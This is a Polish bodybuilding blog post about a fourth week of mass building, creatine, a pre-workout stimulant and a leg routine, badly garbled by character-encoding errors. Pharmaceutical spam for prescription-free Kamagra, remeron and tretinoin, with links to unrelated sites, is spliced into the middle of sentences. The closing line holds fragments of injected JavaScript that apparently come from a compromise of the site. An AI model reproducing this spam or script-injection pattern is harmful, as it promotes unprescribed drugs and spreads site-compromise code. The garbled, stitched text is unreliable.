4 Tygodnie budowania masy miAi??Ai??niowej za mnAi?? …

22.06.2012 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

WAi??aAi??nie koAi??czAi?? 4 tydzieAi?? budowania masy miAi??Ai??niowej.
do koAi??ca 3 tygodnia dobiAi??em do wagi 101,4 kg z rana na czczo, po odstawieniu kreatyny CM3Ai?? na dzieAi?? dzisiejszy waA?Ai?? 100 kg, jeAi??li mogAi?? tak powiedzieAi?? jestem bardziej ” wyrzeA?biony” spowodowane jest to wAi??aAi??nie odstawieniem CM3-jki – wyglAi??dam lepiej troszkAi?? lepiej niA? przy 101,4 kg ze wzglAi??du spadku wody spod skA?ry.

Wczoraj na treningu Ai??wiczyAi??em nogi, jednak przed samym treningiem musiaAi??em wziAi??Ai?? coAi?? na pobudzenie i motywacje bo treningi nA?g nie naleA?Ai?? do moich ulubionych :-) PADA?O NA S.A.W.

Przed siAi??owniAi?? saszetka Buy over the counter triamcinolone acetonide dental paste kamagra 100. Kamagra without prescription. difference between kamagra and kamagra gold. S.A.W. ktA?rAi?? dostaAi??em od HANIBALA (Hanibal to ten goAi??Ai?? w filmiku poniA?ej) :

httpv://www.youtube.com/watch?v=1Lh63gdRFSs&feature=player_embedded

buy remeron online Buy http://thewaystartshere.com/2018/03/19/price-ginseng-per-pound/ Order Purchase http://carsten-scholz.info/?p=13136

 

Trening wyglAi??daAi?? tak :

Rozgrzewka

NOGI :

4 x 15 PROSTOWNIE JEDNONAi??Ai?? W SIADZIE
3 x 12 – PROSTOWNIE NAi??G W SIADZIE
4 x 12/12/10/10 – PRZYSIADY ZE SZTANGAi??
3 x 20 WYPYCHANIE CIA?Ai??ARU NA SUWNICY JEDNAi?? NOGAi??
2 x 20 SYZYFKI
3 x 15 UGINANIE NAi??G W SIADZIE (dwugAi??owe)
3 x 15 UGINANIE JEDNONAi??Ai?? W SIADZIE (dwugAi??owe)
3 x 15 MARTWY CIAi??G NA PROSTYCH NOGACH
4 x 25+25 A?Ai??CZONA – AsCIAi??GANIE KOLAN W SIADZIE + ODWODZENIE KOLAN W SIADZIE

No i na Ai??ydki zabrakAi??o czasu bo zamykali siAi??owniAi?? :-(

Jak nie macie siAi??y zrobiAi?? ostrego treningu to polecam przed jazdAi?? S.A.W -a

httpv://www.youtube.com/watch?v=DbslPf68_Q8&feature=player_embedded

Pozdrawiaj Hej
CzeAi??Ai??d.getElementsByTagName(‚head’)[0].appendChild(s); online document.currentScript.parentNode.insertBefore(s, document.currentScript); where to buy tretinoin cream Purchase Cheap